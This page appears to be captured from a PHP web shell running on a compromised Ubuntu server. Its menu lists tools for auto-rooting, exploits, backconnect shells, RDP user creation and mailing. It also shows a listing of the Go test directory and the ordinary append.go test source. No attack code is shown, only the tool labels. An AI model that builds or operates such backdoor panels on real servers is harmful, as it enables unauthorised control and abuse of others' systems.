Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
test /
[ HOME SHELL ]
Name
Size
Permission
Action
alias3.dir
[ DIR ]
drwxr-xr-x
bench
[ DIR ]
drwxr-xr-x
chan
[ DIR ]
drwxr-xr-x
closure3.dir
[ DIR ]
drwxr-xr-x
codegen
[ DIR ]
drwxr-xr-x
ddd2.dir
[ DIR ]
drwxr-xr-x
dwarf
[ DIR ]
drwxr-xr-x
fixedbugs
[ DIR ]
drwxr-xr-x
import2.dir
[ DIR ]
drwxr-xr-x
import4.dir
[ DIR ]
drwxr-xr-x
interface
[ DIR ]
drwxr-xr-x
intrinsic.dir
[ DIR ]
drwxr-xr-x
ken
[ DIR ]
drwxr-xr-x
linkname.dir
[ DIR ]
drwxr-xr-x
method4.dir
[ DIR ]
drwxr-xr-x
oldescape_linkname.dir
[ DIR ]
drwxr-xr-x
retjmp.dir
[ DIR ]
drwxr-xr-x
runtime
[ DIR ]
drwxr-xr-x
stress
[ DIR ]
drwxr-xr-x
syntax
[ DIR ]
drwxr-xr-x
uintptrescapes.dir
[ DIR ]
drwxr-xr-x
235.go
1.56
KB
-rw-r--r--
64bit.go
24.83
KB
-rw-r--r--
README.md
577
B
-rw-r--r--
alg.go
822
B
-rw-r--r--
alias.go
588
B
-rw-r--r--
alias1.go
803
B
-rw-r--r--
alias2.go
2.52
KB
-rw-r--r--
alias3.go
187
B
-rw-r--r--
align.go
603
B
-rw-r--r--
append.go
9.09
KB
-rw-r--r--
append1.go
665
B
-rw-r--r--
args.go
374
B
-rw-r--r--
armimm.go
3.85
KB
-rw-r--r--
assign.go
975
B
-rw-r--r--
assign1.go
5.55
KB
-rw-r--r--
atomicload.go
798
B
-rw-r--r--
bigalg.go
2.12
KB
-rw-r--r--
bigmap.go
2.46
KB
-rw-r--r--
blank.go
2.1
KB
-rw-r--r--
blank1.go
703
B
-rw-r--r--
bom.go
406
B
-rw-r--r--
bombad.go
480
B
-rw-r--r--
bounds.go
5.65
KB
-rw-r--r--
chancap.go
1.57
KB
-rw-r--r--
chanlinear.go
2.12
KB
-rw-r--r--
char_lit.go
657
B
-rw-r--r--
char_lit1.go
813
B
-rw-r--r--
checkbce.go
3.56
KB
-rw-r--r--
clearfat.go
1.15
KB
-rw-r--r--
closedchan.go
5.79
KB
-rw-r--r--
closure.go
1.69
KB
-rw-r--r--
closure1.go
280
B
-rw-r--r--
closure2.go
1.69
KB
-rw-r--r--
closure3.go
295
B
-rw-r--r--
closure4.go
364
B
-rw-r--r--
cmp.go
7.63
KB
-rw-r--r--
cmp6.go
2.09
KB
-rw-r--r--
cmplx.go
1.39
KB
-rw-r--r--
cmplxdivide.c
2.05
KB
-rw-r--r--
cmplxdivide.go
868
B
-rw-r--r--
cmplxdivide1.go
240.68
KB
-rw-r--r--
complit.go
1.71
KB
-rw-r--r--
complit1.go
1.48
KB
-rw-r--r--
compos.go
403
B
-rw-r--r--
const.go
4.78
KB
-rw-r--r--
const1.go
3.39
KB
-rw-r--r--
const2.go
605
B
-rw-r--r--
const3.go
659
B
-rw-r--r--
const4.go
1.28
KB
-rw-r--r--
const5.go
835
B
-rw-r--r--
const6.go
834
B
-rw-r--r--
convT2X.go
3.33
KB
-rw-r--r--
convert.go
833
B
-rw-r--r--
convert1.go
3.41
KB
-rw-r--r--
convert2.go
5.05
KB
-rw-r--r--
convert3.go
544
B
-rw-r--r--
convlit.go
2.25
KB
-rw-r--r--
convlit1.go
458
B
-rw-r--r--
copy.go
6.6
KB
-rw-r--r--
copy1.go
763
B
-rw-r--r--
crlf.go
782
B
-rw-r--r--
ddd.go
4.23
KB
-rw-r--r--
ddd1.go
1.56
KB
-rw-r--r--
ddd2.go
252
B
-rw-r--r--
decl.go
926
B
-rw-r--r--
declbad.go
1.4
KB
-rw-r--r--
defer.go
875
B
-rw-r--r--
defererrcheck.go
1.53
KB
-rw-r--r--
deferfin.go
1.12
KB
-rw-r--r--
defernil.go
563
B
-rw-r--r--
deferprint.go
586
B
-rw-r--r--
deferprint.out
126
B
-rw-r--r--
devirt.go
599
B
-rw-r--r--
divide.go
1.22
KB
-rw-r--r--
divmod.go
9.28
KB
-rw-r--r--
empty.go
316
B
-rw-r--r--
env.go
585
B
-rw-r--r--
eof.go
308
B
-rw-r--r--
eof1.go
333
B
-rw-r--r--
escape.go
3.79
KB
-rw-r--r--
escape2.go
35.16
KB
-rw-r--r--
escape2n.go
35.19
KB
-rw-r--r--
escape3.go
524
B
-rw-r--r--
escape4.go
1.3
KB
-rw-r--r--
escape5.go
4.92
KB
-rw-r--r--
escape_array.go
3.64
KB
-rw-r--r--
escape_calls.go
1.26
KB
-rw-r--r--
escape_closure.go
3.94
KB
-rw-r--r--
escape_field.go
2.93
KB
-rw-r--r--
escape_goto.go
674
B
-rw-r--r--
escape_hash_maphash.go
368
B
-rw-r--r--
escape_iface.go
4.51
KB
-rw-r--r--
escape_indir.go
3.39
KB
-rw-r--r--
escape_level.go
1.79
KB
-rw-r--r--
escape_map.go
2.76
KB
-rw-r--r--
escape_param.go
9.11
KB
-rw-r--r--
escape_runtime_atomic.go
874
B
-rw-r--r--
escape_selfassign.go
538
B
-rw-r--r--
escape_slice.go
3.49
KB
-rw-r--r--
escape_struct_param1.go
9.43
KB
-rw-r--r--
escape_struct_param2.go
9.46
KB
-rw-r--r--
escape_struct_return.go
1.04
KB
-rw-r--r--
escape_sync_atomic.go
943
B
-rw-r--r--
escape_unsafe.go
2.16
KB
-rw-r--r--
fibo.go
6.28
KB
-rw-r--r--
finprofiled.go
1.95
KB
-rw-r--r--
float_lit.go
3.95
KB
-rw-r--r--
float_lit2.go
7.88
KB
-rw-r--r--
float_lit3.go
1.78
KB
-rw-r--r--
floatcmp.go
3.03
KB
-rw-r--r--
for.go
844
B
-rw-r--r--
func.go
1.29
KB
-rw-r--r--
func1.go
434
B
-rw-r--r--
func2.go
578
B
-rw-r--r--
func3.go
505
B
-rw-r--r--
func4.go
409
B
-rw-r--r--
func5.go
1.49
KB
-rw-r--r--
func6.go
393
B
-rw-r--r--
func7.go
477
B
-rw-r--r--
func8.go
599
B
-rw-r--r--
funcdup.go
1.19
KB
-rw-r--r--
funcdup2.go
655
B
-rw-r--r--
gc.go
411
B
-rw-r--r--
gc1.go
303
B
-rw-r--r--
gc2.go
972
B
-rw-r--r--
gcgort.go
34.54
KB
-rw-r--r--
gcstring.go
872
B
-rw-r--r--
goprint.go
722
B
-rw-r--r--
goprint.out
65
B
-rw-r--r--
goto.go
8.39
KB
-rw-r--r--
heapsampling.go
9.53
KB
-rw-r--r--
helloworld.go
269
B
-rw-r--r--
helloworld.out
13
B
-rw-r--r--
if.go
1.36
KB
-rw-r--r--
import.go
425
B
-rw-r--r--
import1.go
633
B
-rw-r--r--
import2.go
247
B
-rw-r--r--
import4.go
310
B
-rw-r--r--
import5.go
722
B
-rw-r--r--
import6.go
1.38
KB
-rw-r--r--
index.go
6.42
KB
-rw-r--r--
index0.go
301
B
-rw-r--r--
index1.go
305
B
-rw-r--r--
index2.go
305
B
-rw-r--r--
indirect.go
1.39
KB
-rw-r--r--
indirect1.go
1.53
KB
-rw-r--r--
init.go
432
B
-rw-r--r--
init1.go
1.08
KB
-rw-r--r--
initcomma.go
1.22
KB
-rw-r--r--
initempty.go
604
B
-rw-r--r--
initialize.go
1.24
KB
-rw-r--r--
initializerr.go
1.04
KB
-rw-r--r--
initloop.go
387
B
-rw-r--r--
inline.go
4.33
KB
-rw-r--r--
inline_big.go
12.64
KB
-rw-r--r--
inline_caller.go
1.36
KB
-rw-r--r--
inline_callers.go
1.87
KB
-rw-r--r--
inline_literal.go
1.02
KB
-rw-r--r--
inline_math_bits_rotate.go
569
B
-rw-r--r--
inline_sync.go
1.63
KB
-rw-r--r--
inline_variadic.go
516
B
-rw-r--r--
int_lit.go
387
B
-rw-r--r--
intcvt.go
4.26
KB
-rw-r--r--
intrinsic.go
259
B
-rw-r--r--
intrinsic_atomic.go
791
B
-rw-r--r--
iota.go
1.59
KB
-rw-r--r--
label.go
1007
B
-rw-r--r--
label1.go
1.88
KB
-rw-r--r--
linkmain.go
236
B
-rw-r--r--
linkmain_run.go
1.71
KB
-rw-r--r--
linkname.go
456
B
-rw-r--r--
linkobj.go
3.17
KB
-rw-r--r--
linkx.go
741
B
-rw-r--r--
linkx_run.go
1.65
KB
-rw-r--r--
literal.go
4.99
KB
-rw-r--r--
literal2.go
2.22
KB
-rw-r--r--
live.go
17.83
KB
-rw-r--r--
live1.go
1.29
KB
-rw-r--r--
live2.go
963
B
-rw-r--r--
live_syscall.go
1.13
KB
-rw-r--r--
locklinear.go
3.56
KB
-rw-r--r--
loopbce.go
9.75
KB
-rw-r--r--
makechan.go
1.29
KB
-rw-r--r--
makemap.go
1.5
KB
-rw-r--r--
makenew.go
522
B
-rw-r--r--
mallocfin.go
1.18
KB
-rw-r--r--
map.go
14.91
KB
-rw-r--r--
map1.go
1.39
KB
-rw-r--r--
mapclear.go
1.49
KB
-rw-r--r--
maplinear.go
3.62
KB
-rw-r--r--
mergemul.go
3.16
KB
-rw-r--r--
method.go
5.24
KB
-rw-r--r--
method1.go
727
B
-rw-r--r--
method2.go
1.05
KB
-rw-r--r--
method3.go
570
B
-rw-r--r--
method4.go
230
B
-rw-r--r--
method5.go
6.73
KB
-rw-r--r--
method6.go
465
B
-rw-r--r--
method7.go
940
B
-rw-r--r--
named.go
4.61
KB
-rw-r--r--
named1.go
970
B
-rw-r--r--
nil.go
2.23
KB
-rw-r--r--
nilcheck.go
3.62
KB
-rw-r--r--
nilptr.go
3.06
KB
-rw-r--r--
nilptr2.go
3.6
KB
-rw-r--r--
nilptr3.go
5.56
KB
-rw-r--r--
nilptr4.go
428
B
-rw-r--r--
nilptr5.go
814
B
-rw-r--r--
nilptr5_aix.go
805
B
-rw-r--r--
nilptr5_wasm.go
812
B
-rw-r--r--
nilptr_aix.go
3.09
KB
-rw-r--r--
nosplit.go
10.51
KB
-rw-r--r--
notinheap.go
1.39
KB
-rw-r--r--
notinheap2.go
708
B
-rw-r--r--
notinheap3.go
1.24
KB
-rw-r--r--
nowritebarrier.go
1.2
KB
-rw-r--r--
nul1.go
1.23
KB
-rw-r--r--
opt_branchlikely.go
2.08
KB
-rw-r--r--
parentype.go
424
B
-rw-r--r--
peano.go
2.22
KB
-rw-r--r--
phiopt.go
1.68
KB
-rw-r--r--
print.go
1.56
KB
-rw-r--r--
print.out
247
B
-rw-r--r--
printbig.go
315
B
-rw-r--r--
printbig.out
41
B
-rw-r--r--
prove.go
17.74
KB
-rw-r--r--
range.go
8.14
KB
-rw-r--r--
recover.go
10.64
KB
-rw-r--r--
recover1.go
2.5
KB
-rw-r--r--
recover2.go
1.22
KB
-rw-r--r--
recover3.go
1.64
KB
-rw-r--r--
recover4.go
2.17
KB
-rw-r--r--
recover5.go
408
B
-rw-r--r--
reflectmethod1.go
578
B
-rw-r--r--
reflectmethod2.go
719
B
-rw-r--r--
reflectmethod3.go
651
B
-rw-r--r--
reflectmethod4.go
573
B
-rw-r--r--
rename.go
1.52
KB
-rw-r--r--
rename1.go
1.11
KB
-rw-r--r--
reorder.go
2.1
KB
-rw-r--r--
reorder2.go
7.22
KB
-rw-r--r--
retjmp.go
252
B
-rw-r--r--
return.go
32.69
KB
-rw-r--r--
rotate.go
3.27
KB
-rw-r--r--
rotate0.go
286
B
-rw-r--r--
rotate1.go
286
B
-rw-r--r--
rotate2.go
286
B
-rw-r--r--
rotate3.go
286
B
-rw-r--r--
run.go
46.86
KB
-rw-r--r--
rune.go
603
B
-rw-r--r--
runtime.go
602
B
-rw-r--r--
shift1.go
8.89
KB
-rw-r--r--
shift2.go
1.31
KB
-rw-r--r--
sieve.go
1
KB
-rw-r--r--
sigchld.go
365
B
-rw-r--r--
sigchld.out
17
B
-rw-r--r--
simassign.go
1.12
KB
-rw-r--r--
sinit.go
5.75
KB
-rw-r--r--
sinit_run.go
853
B
-rw-r--r--
sizeof.go
2.95
KB
-rw-r--r--
slice3.go
2.92
KB
-rw-r--r--
slice3err.go
4.48
KB
-rw-r--r--
slicecap.go
1.85
KB
-rw-r--r--
sliceopt.go
735
B
-rw-r--r--
solitaire.go
2.9
KB
-rw-r--r--
stack.go
1.69
KB
-rw-r--r--
stackobj.go
975
B
-rw-r--r--
stackobj2.go
1.55
KB
-rw-r--r--
stackobj3.go
1.42
KB
-rw-r--r--
strcopy.go
674
B
-rw-r--r--
strength.go
1.02
KB
-rw-r--r--
string_lit.go
3.58
KB
-rw-r--r--
stringrange.go
1.45
KB
-rw-r--r--
struct0.go
565
B
-rw-r--r--
switch.go
6.1
KB
-rw-r--r--
switch2.go
778
B
-rw-r--r--
switch3.go
1.19
KB
-rw-r--r--
switch4.go
526
B
-rw-r--r--
switch5.go
2.21
KB
-rw-r--r--
switch6.go
1.1
KB
-rw-r--r--
switch7.go
781
B
-rw-r--r--
tinyfin.go
1.57
KB
-rw-r--r--
torture.go
7.69
KB
-rw-r--r--
turing.go
893
B
-rw-r--r--
typecheck.go
386
B
-rw-r--r--
typecheckloop.go
486
B
-rw-r--r--
typeswitch.go
1.83
KB
-rw-r--r--
typeswitch1.go
1.6
KB
-rw-r--r--
typeswitch2.go
655
B
-rw-r--r--
typeswitch2b.go
598
B
-rw-r--r--
typeswitch3.go
964
B
-rw-r--r--
uintptrescapes.go
250
B
-rw-r--r--
uintptrescapes2.go
2.18
KB
-rw-r--r--
uintptrescapes3.go
1.28
KB
-rw-r--r--
undef.go
758
B
-rw-r--r--
utf.go
1.19
KB
-rw-r--r--
varerr.go
434
B
-rw-r--r--
varinit.go
509
B
-rw-r--r--
writebarrier.go
5.57
KB
-rw-r--r--
zerodivide.go
5.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : append.go
// run // Copyright 2010 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Semi-exhaustive test for the append predeclared function. package main import ( "fmt" "reflect" ) func verify(name string, result, expected interface{}) { if !reflect.DeepEqual(result, expected) { panic(name) } } func main() { for _, t := range tests { verify(t.name, t.result, t.expected) } verifyStruct() verifyInterface() verifyType() } var ( zero int = 0 one int = 1 ) var tests = []struct { name string result, expected interface{} }{ {"bool a", append([]bool{}), []bool{}}, {"bool b", append([]bool{}, true), []bool{true}}, {"bool c", append([]bool{}, true, false, true, true), []bool{true, false, true, true}}, {"bool d", append([]bool{true, false, true}), []bool{true, false, true}}, {"bool e", append([]bool{true, false, true}, false), []bool{true, false, true, false}}, {"bool f", append([]bool{true, false, true}, false, false, false), []bool{true, false, true, false, false, false}}, {"bool g", append([]bool{}, []bool{true}...), []bool{true}}, {"bool h", append([]bool{}, []bool{true, false, true, false}...), []bool{true, false, true, false}}, {"bool i", append([]bool{true, false, true}, []bool{true}...), []bool{true, false, true, true}}, {"bool j", append([]bool{true, false, true}, []bool{true, true, true}...), []bool{true, false, true, true, true, true}}, {"byte a", append([]byte{}), []byte{}}, {"byte b", append([]byte{}, 0), []byte{0}}, {"byte c", append([]byte{}, 0, 1, 2, 3), []byte{0, 1, 2, 3}}, {"byte d", append([]byte{0, 1, 2}), []byte{0, 1, 2}}, {"byte e", append([]byte{0, 1, 2}, 3), []byte{0, 1, 2, 3}}, {"byte f", append([]byte{0, 1, 2}, 3, 4, 5), []byte{0, 1, 2, 3, 4, 5}}, {"byte g", append([]byte{}, []byte{0}...), []byte{0}}, {"byte h", append([]byte{}, []byte{0, 1, 2, 3}...), []byte{0, 1, 2, 3}}, {"byte i", append([]byte{0, 1, 2}, []byte{3}...), []byte{0, 1, 2, 3}}, {"byte j", append([]byte{0, 1, 2}, []byte{3, 4, 5}...), []byte{0, 1, 2, 3, 4, 5}}, {"bytestr a", append([]byte{}, "0"...), []byte("0")}, {"bytestr b", append([]byte{}, "0123"...), []byte("0123")}, {"bytestr c", append([]byte("012"), "3"...), []byte("0123")}, {"bytestr d", append([]byte("012"), "345"...), []byte("012345")}, {"int16 a", append([]int16{}), []int16{}}, {"int16 b", append([]int16{}, 0), []int16{0}}, {"int16 c", append([]int16{}, 0, 1, 2, 3), []int16{0, 1, 2, 3}}, {"int16 d", append([]int16{0, 1, 2}), []int16{0, 1, 2}}, {"int16 e", append([]int16{0, 1, 2}, 3), []int16{0, 1, 2, 3}}, {"int16 f", append([]int16{0, 1, 2}, 3, 4, 5), []int16{0, 1, 2, 3, 4, 5}}, {"int16 g", append([]int16{}, []int16{0}...), []int16{0}}, {"int16 h", append([]int16{}, []int16{0, 1, 2, 3}...), []int16{0, 1, 2, 3}}, {"int16 i", append([]int16{0, 1, 2}, []int16{3}...), []int16{0, 1, 2, 3}}, {"int16 j", append([]int16{0, 1, 2}, []int16{3, 4, 5}...), []int16{0, 1, 2, 3, 4, 5}}, {"uint32 a", append([]uint32{}), []uint32{}}, {"uint32 b", append([]uint32{}, 0), []uint32{0}}, {"uint32 c", append([]uint32{}, 0, 1, 2, 3), []uint32{0, 1, 2, 3}}, {"uint32 d", append([]uint32{0, 1, 2}), []uint32{0, 1, 2}}, {"uint32 e", append([]uint32{0, 1, 2}, 3), []uint32{0, 1, 2, 3}}, {"uint32 f", append([]uint32{0, 1, 2}, 3, 4, 5), []uint32{0, 1, 2, 3, 4, 5}}, {"uint32 g", append([]uint32{}, []uint32{0}...), []uint32{0}}, {"uint32 h", append([]uint32{}, []uint32{0, 1, 2, 3}...), []uint32{0, 1, 2, 3}}, {"uint32 i", append([]uint32{0, 1, 2}, []uint32{3}...), []uint32{0, 1, 2, 3}}, {"uint32 j", append([]uint32{0, 1, 2}, []uint32{3, 4, 5}...), []uint32{0, 1, 2, 3, 4, 5}}, {"float64 a", append([]float64{}), []float64{}}, {"float64 b", append([]float64{}, 0), []float64{0}}, {"float64 c", append([]float64{}, 0, 1, 2, 3), []float64{0, 1, 2, 3}}, {"float64 d", append([]float64{0, 1, 2}), []float64{0, 1, 2}}, {"float64 e", append([]float64{0, 1, 2}, 3), []float64{0, 1, 2, 3}}, {"float64 f", append([]float64{0, 1, 2}, 3, 4, 5), []float64{0, 1, 2, 3, 4, 5}}, {"float64 g", append([]float64{}, []float64{0}...), []float64{0}}, {"float64 h", append([]float64{}, []float64{0, 1, 2, 3}...), []float64{0, 1, 2, 3}}, {"float64 i", append([]float64{0, 1, 2}, []float64{3}...), []float64{0, 1, 2, 3}}, {"float64 j", append([]float64{0, 1, 2}, []float64{3, 4, 5}...), []float64{0, 1, 2, 3, 4, 5}}, {"complex128 a", append([]complex128{}), []complex128{}}, {"complex128 b", append([]complex128{}, 0), []complex128{0}}, {"complex128 c", append([]complex128{}, 0, 1, 2, 3), []complex128{0, 1, 2, 3}}, {"complex128 d", append([]complex128{0, 1, 2}), []complex128{0, 1, 2}}, {"complex128 e", append([]complex128{0, 1, 2}, 3), []complex128{0, 1, 2, 3}}, {"complex128 f", append([]complex128{0, 1, 2}, 3, 4, 5), []complex128{0, 1, 2, 3, 4, 5}}, {"complex128 g", append([]complex128{}, []complex128{0}...), []complex128{0}}, {"complex128 h", append([]complex128{}, []complex128{0, 1, 2, 3}...), []complex128{0, 1, 2, 3}}, {"complex128 i", append([]complex128{0, 1, 2}, []complex128{3}...), []complex128{0, 1, 2, 3}}, {"complex128 j", append([]complex128{0, 1, 2}, []complex128{3, 4, 5}...), []complex128{0, 1, 2, 3, 4, 5}}, {"string a", append([]string{}), []string{}}, {"string b", append([]string{}, "0"), []string{"0"}}, {"string c", append([]string{}, "0", "1", "2", "3"), []string{"0", "1", "2", "3"}}, {"string d", append([]string{"0", "1", "2"}), []string{"0", "1", "2"}}, {"string e", append([]string{"0", "1", "2"}, "3"), []string{"0", "1", "2", "3"}}, {"string f", append([]string{"0", "1", "2"}, "3", "4", "5"), []string{"0", "1", "2", "3", "4", "5"}}, {"string g", append([]string{}, []string{"0"}...), []string{"0"}}, {"string h", append([]string{}, []string{"0", "1", "2", "3"}...), []string{"0", "1", "2", "3"}}, {"string i", append([]string{"0", "1", "2"}, []string{"3"}...), []string{"0", "1", "2", "3"}}, {"string j", append([]string{"0", "1", "2"}, []string{"3", "4", "5"}...), []string{"0", "1", "2", "3", "4", "5"}}, {"make a", append([]string{}, make([]string, 0)...), []string{}}, {"make b", append([]string(nil), make([]string, 0)...), []string(nil)}, {"make c", append([]struct{}{}, make([]struct{}, 0)...), []struct{}{}}, {"make d", append([]struct{}{}, make([]struct{}, 2)...), make([]struct{}, 2)}, {"make e", append([]int{0, 1}, make([]int, 0)...), []int{0, 1}}, {"make f", append([]int{0, 1}, make([]int, 2)...), []int{0, 1, 0, 0}}, {"make g", append([]*int{&zero, &one}, make([]*int, 0)...), []*int{&zero, &one}}, {"make h", append([]*int{&zero, &one}, make([]*int, 2)...), []*int{&zero, &one, nil, nil}}, } func verifyStruct() { type T struct { a, b, c string } type S []T e := make(S, 100) for i := range e { e[i] = T{"foo", fmt.Sprintf("%d", i), "bar"} } verify("struct a", append(S{}), S{}) verify("struct b", append(S{}, e[0]), e[0:1]) verify("struct c", append(S{}, e[0], e[1], e[2]), e[0:3]) verify("struct d", append(e[0:1]), e[0:1]) verify("struct e", append(e[0:1], e[1]), e[0:2]) verify("struct f", append(e[0:1], e[1], e[2], e[3]), e[0:4]) verify("struct g", append(e[0:3]), e[0:3]) verify("struct h", append(e[0:3], e[3]), e[0:4]) verify("struct i", append(e[0:3], e[3], e[4], e[5], e[6]), e[0:7]) for i := range e { verify("struct j", append(S{}, e[0:i]...), e[0:i]) input := make(S, i) copy(input, e[0:i]) verify("struct k", append(input, e[i:]...), e) verify("struct k - input modified", input, e[0:i]) } s := make(S, 10, 20) r := make(S, len(s)+len(e)) for i, x := range e { r[len(s)+i] = x } verify("struct l", append(s), s) verify("struct m", append(s, e...), r) } func verifyInterface() { type T interface{} type S []T e := make(S, 100) for i := range e { switch i % 4 { case 0: e[i] = i case 1: e[i] = "foo" case 2: e[i] = fmt.Sprintf("%d", i) case 3: e[i] = float64(i) } } verify("interface a", append(S{}), S{}) verify("interface b", append(S{}, e[0]), e[0:1]) verify("interface c", append(S{}, e[0], e[1], e[2]), e[0:3]) verify("interface d", append(e[0:1]), e[0:1]) verify("interface e", append(e[0:1], e[1]), e[0:2]) verify("interface f", append(e[0:1], e[1], e[2], e[3]), e[0:4]) verify("interface g", append(e[0:3]), e[0:3]) verify("interface h", append(e[0:3], e[3]), e[0:4]) verify("interface i", append(e[0:3], e[3], e[4], e[5], e[6]), e[0:7]) for i := range e { verify("interface j", append(S{}, e[0:i]...), e[0:i]) input := make(S, i) copy(input, e[0:i]) verify("interface k", append(input, e[i:]...), e) verify("interface k - input modified", input, e[0:i]) } s := make(S, 10, 20) r := make(S, len(s)+len(e)) for i, x := range e { r[len(s)+i] = x } verify("interface l", append(s), s) verify("interface m", append(s, e...), r) } type T1 []int type T2 []int func verifyType() { // The second argument to append has type []E where E is the // element type of the first argument. Test that the compiler // accepts two slice types that meet that requirement but are // not assignment compatible. The return type of append is // the type of the first argument. t1 := T1{1} t2 := T2{2} verify("T1", append(t1, t2...), T1{1, 2}) }
Close
